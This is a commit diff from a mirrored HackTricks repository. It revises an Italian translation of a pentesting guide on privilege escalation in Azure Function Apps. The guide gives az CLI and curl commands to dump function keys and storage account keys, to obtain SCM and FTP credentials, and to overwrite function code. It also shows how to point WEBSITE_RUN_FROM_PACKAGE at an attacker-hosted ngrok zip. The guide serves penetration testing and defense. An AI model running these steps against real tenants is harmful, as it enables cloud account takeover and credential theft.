gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-05 20:40:18 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2025-11-30 12:25:43 +00:00
parent d9ee2d5edd
commit 919b19659f
1 changed files with 101 additions and 61 deletions
Download Patch File Download Diff File Expand all files Collapse all files

162
src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
View File

@@ -4,7 +4,7 @@
## Function Apps
Controlla la pagina seguente per ulteriori informazioni:
Consulta la pagina seguente per maggiori informazioni:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Controlla la pagina seguente per ulteriori informazioni:
### Bucket Read/Write
Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare **diversi contenitori** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla funzione**.
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della function, è possibile trovare **diversi container** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla function**.
Una volta trovato dove si trova il codice della funzione, se hai permessi di scrittura su di esso, puoi far eseguire alla funzione qualsiasi codice e aumentare i privilegi delle identità gestite collegate alla funzione.
Una volta individuata la posizione del codice della function, se si hanno permessi di scrittura su di esso è possibile far eseguire qualsiasi codice alla function e escalation dei privilegi verso le managed identities associate alla function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Il codice della funzione è solitamente memorizzato all'interno di un file share. Con accesso sufficiente, è possibile modificare il file di codice e **far caricare alla funzione codice arbitrario**, consentendo di aumentare i privilegi delle identità gestite collegate alla Function.
Il codice della function è solitamente memorizzato in un file share. Con accesso sufficiente è possibile modificare il file di codice e **forzare la function a caricare codice arbitrario**, consentendo di escalare i privilegi alle managed identities associate alla Function.
Questo metodo di distribuzione solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** che puoi ottenere da
Questo metodo di deployment solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`**, che puoi ottenere da
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Quei configurazioni conterranno la **Storage Account Key** che la Function può utilizzare per accedere al codice.
Quelle configurazioni conterranno la **Storage Account Key** che la Function può usare per accedere al codice.
> [!CAUTION]
> Con abbastanza permessi per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function e aumentare i privilegi.
> Con permessi sufficienti per connettersi al File Share e **modify the script** in esecuzione, è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
L'esempio seguente utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
L'esempio seguente usa macOS per connettersi al file share, ma è consigliato consultare anche la seguente pagina per maggiori informazioni sui file share:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
È anche comune trovare i **zip releases** all'interno della cartella `function-releases` del contenitore dell'Account di Archiviazione che l'app di funzione sta utilizzando in un contenitore **di solito chiamato `function-releases`**.
È anche comune trovare le **zip releases** nella cartella `function-releases` del Storage Account container che la function app sta usando, in un container **di solito chiamato `function-releases`**.
Di solito, questo metodo di distribuzione imposterà la configurazione `WEBSITE_RUN_FROM_PACKAGE` in:
Di solito questo metodo di deployment imposterà la configurazione `WEBSITE_RUN_FROM_PACKAGE` in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Questa configurazione conterrà di solito un **SAS URL per scaricare** il codice dall'Account di Archiviazione.
Questa configurazione di solito conterrà una **SAS URL per scaricare** il codice dal Storage Account.
> [!CAUTION]
> Con abbastanza permessi per connettersi al contenitore blob che **contiene il codice in zip** è possibile eseguire codice arbitrario nella Funzione e aumentare i privilegi.
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in formato zip** è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Proprio come nel caso precedente, se il deployment avviene tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nell'Account di Archiviazione contenente uno zip del codice e un SAS URL allo zip nell'impostazione `WEBSITE_RUN_FROM_PACKAGE`.
Proprio come nel caso precedente, se il deployment è eseguito tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nello Storage Account contenente uno zip del codice e una SAS URL allo zip nell'impostazione `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Con permessi per leggere i contenitori all'interno dell'Account di Archiviazione che memorizza i dati della funzione è possibile trovare il contenitore **`scm-releases`**. Lì è possibile trovare l'ultima release in **formato file di filesystem Squashfs** e quindi è possibile leggere il codice della funzione:
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della Function è possibile trovare il container **`scm-releases`**. Lì è possibile trovare l'ultima release in **Squashfs filesystem file format** e quindi è possibile leggere il codice della Function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
È anche possibile trovare le **chiavi master e delle funzioni** memorizzate nell'account di archiviazione nel contenitore **`azure-webjobs-secrets`** all'interno della cartella **`<app-name>`** nei file JSON che puoi trovare all'interno.
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
> [!CAUTION]
> Con abbastanza permessi per connettersi al contenitore blob che **contiene il codice in un file con estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Funzione e aumentare i privilegi.
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in un file di estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Function e elevare i privilegi.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Questo permesso consente di elencare le chiavi della funzione, master e di sistema, ma non quella dell'host, della funzione specificata con:
Questa autorizzazione consente di elencare le chiavi function, master e system, ma non la chiave host, della funzione specificata con:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Con la chiave master è anche possibile ottenere il codice sorgente in un URL come:
Con la master key è anche possibile ottenere il codice sorgente in un URL come:
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,64 +130,85 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
E per **cambiare il codice che viene eseguito** nella funzione con:
E per **modificare il codice che viene eseguito** nella funzione con:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Questo permesso consente di ottenere la chiave host della funzione specificata con:
Questa autorizzazione permette di ottenere la chiave predefinita della funzione specificata con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Invoca la funzione usando la chiave predefinita ottenuta:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Questo permesso consente di creare/aggiornare una chiave di funzione della funzione specificata con:
Questa autorizzazione consente di creare/aggiornare una chiave della funzione specificata con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Questo permesso consente di creare/aggiornare una chiave master per la funzione specificata con:
Questa autorizzazione permette di creare/aggiornare una master key per la funzione specificata con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato in precedenza!
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato prima!
### `Microsoft.Web/sites/host/systemKeys/write`
Questo permesso consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:
Questa autorizzazione consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Usa la chiave:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere al blob storage della funzione con permessi COMPLETI**.
Questa autorizzazione consente di ottenere le impostazioni di una function. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, che contengono una chiave dell'account per accedere allo blob storage della function con permessi FULL.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Inoltre, questo permesso consente di ottenere il **nome utente e la password SCM** (se abilitato) con:
Inoltre, questo permesso consente anche di recuperare le **SCM username and password** (se abilitate) con:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto in precedenza, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
Questi permessi consentono di elencare i valori di configurazione di una funzione come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di un'applicazione web:
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un URL che contiene un file zip con il nuovo codice da eseguire all'interno di un'applicazione web:
- Inizia ottenendo la configurazione attuale
- Start by getting the current config
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la configurazione **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con il **zip** contenente il codice.
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la config **`WEBSITE_RUN_FROM_PACKAGE`** che punti all'URL con lo **zip** contenente il codice.
L'esempio seguente mostra le **mie impostazioni personali che dovrai modificare i valori per le tue**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, questo è dove stavo ospitando l'app.
La seguente è un esempio delle mie **impostazioni personali — dovrai sostituire i valori con i tuoi**, nota alla fine il valore `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, è lì che ospitavo l'app.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Con questo permesso è **possibile modificare il codice di un'applicazione** tramite la console web (o tramite il seguente endpoint API):
Con questo permesso è **possibile modificare il codice di un'applicazione** tramite la web console (o tramite il seguente API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Questa autorizzazione consente di elencare tutti i profili di pubblicazione che contengono fondamentalmente **credenziali di autenticazione di base**:
Questi permessi consentono di elencare tutti i publishing profiles che contengono fondamentalmente **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Un'altra opzione sarebbe impostare le proprie credenziali e utilizzarle con:
Un'altra opzione è impostare i tuoi creds e usarli con:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Se le credenziali di **REDACTED**
- Se **REDACTED** credentials
Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Se vedi che quelle credentials sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo ti serve il secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -262,9 +302,9 @@ az rest --method PUT \
}
}
```
- **Metodo SCM**
- **Method SCM**
Quindi, puoi accedere con queste **credenziali di autenticazione di base all'URL SCM** della tua app di funzione e ottenere i valori delle variabili di ambiente:
Quindi puoi accedere con queste **basic auth credentials to the SCM URL** della tua function app e ottenere i valori delle env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Nota che il **nome utente SCM** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$<app-name>`._
_Nota che il **SCM username** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$<app-name>`._
Puoi anche accedere alla pagina web da `https://<app-name>.scm.azurewebsites.net/BasicAuth`
I valori delle impostazioni contengono l'**AccountKey** dell'account di archiviazione che memorizza i dati dell'app di funzione, consentendo di controllare quell'account di archiviazione.
I valori delle impostazioni contengono l'**AccountKey** dello storage account che memorizza i dati della function app, consentendo di controllare tale storage account.
- **Metodo FTP**
Connettiti al server FTP utilizzando:
Connettiti al server FTP usando:
```bash
# macOS install lftp
brew install lftp
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Nota che il **nome utente FTP** è solitamente nel formato \<app-name>\\$\<app-name>._
_Nota che il **FTP username** è solitamente nel formato \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Questa autorizzazione consente di **leggere il codice sorgente** dell'app tramite il VFS:
Questa autorizzazione consente di **leggere il codice sorgente** dell'app tramite la VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Con questo permesso è possibile [ottenere il **token admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave master** e quindi accedere e modificare il codice della funzione.
Con questo permesso è possibile [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può poi essere usato per recuperare la **master key** e quindi accedere e modificare il codice della function.
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come lo faresti:
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come procederesti:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Questa autorizzazione consente di **abilitare funzioni** che potrebbero essere disabilitate (o disabilitarle).
Questi permessi permettono di **abilitare le functions** che potrebbero essere disabilitate (o di disabilitarle).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
È anche possibile vedere se una funzione è abilitata o disabilitata nel seguente URL (utilizzando il permesso tra parentesi):
È anche possibile verificare se una funzione è abilitata o disabilitata nell'URL seguente (usando il permesso indicato tra parentesi):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con questi permessi è possibile **modificare il contenitore eseguito da un'app di funzione** configurata per eseguire un contenitore. Questo permetterebbe a un attaccante di caricare un'app di contenitore di funzione azure malevola su docker hub (ad esempio) e far eseguire la funzione.
Con queste autorizzazioni è possibile **modificare il container eseguito da un function app** configurato per eseguire un container. Questo permetterebbe a un attacker di caricare su docker hub (per esempio) un malicious azure function container app e far sì che la function lo esegua.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Con questi permessi è possibile **collegare una nuova identità gestita dall'utente a una funzione**. Se la funzione fosse compromessa, questo permetterebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.
Con queste autorizzazioni è possibile assegnare una nuova user managed identity a una Function. Se la Function fosse compromessa, questo permetterebbe l'escalation dei privilegi verso qualsiasi user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging
### Debug remoto
È anche possibile connettersi per eseguire il debug di una funzione Azure in esecuzione come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita, Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore dimentichi di evitare di lasciare configurazioni vulnerabili.
È anche possibile connettersi per eseguire il debug di una Azure Function in esecuzione, come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita Azure disattiva questa opzione dopo 2 giorni nel caso lo sviluppatore si dimentichi, per evitare di lasciare configurazioni vulnerabili.
È possibile verificare se una funzione ha il debug abilitato con:
È possibile verificare se una Function ha il debugging abilitato con:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Avere il permesso `Microsoft.Web/sites/config/write` consente anche di mettere una funzione in modalità di debug (il comando seguente richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
Avendo il permesso `Microsoft.Web/sites/config/write`, è anche possibile mettere una funzione in modalità di debug (il seguente comando richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Cambiare il repository Github
### Cambiare Github repo
Ho provato a cambiare il repository Github da cui sta avvenendo il deployment eseguendo i seguenti comandi, ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che l'azione Github aggiorni il codice).\
Inoltre, **le credenziali federate dell'identità gestita non sono state aggiornate** per consentire il nuovo repository, quindi sembra che questo non sia molto utile.
Ho provato a cambiare il repo Github da cui avviene il deploy eseguendo i comandi seguenti ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che la Github Action aggiorni il codice).\
Inoltre, la **managed identity federated credential wasn't updated** che avrebbe permesso il nuovo repository, quindi sembra che questo non sia molto utile.
```bash
# Remove current
az functionapp deployment source delete \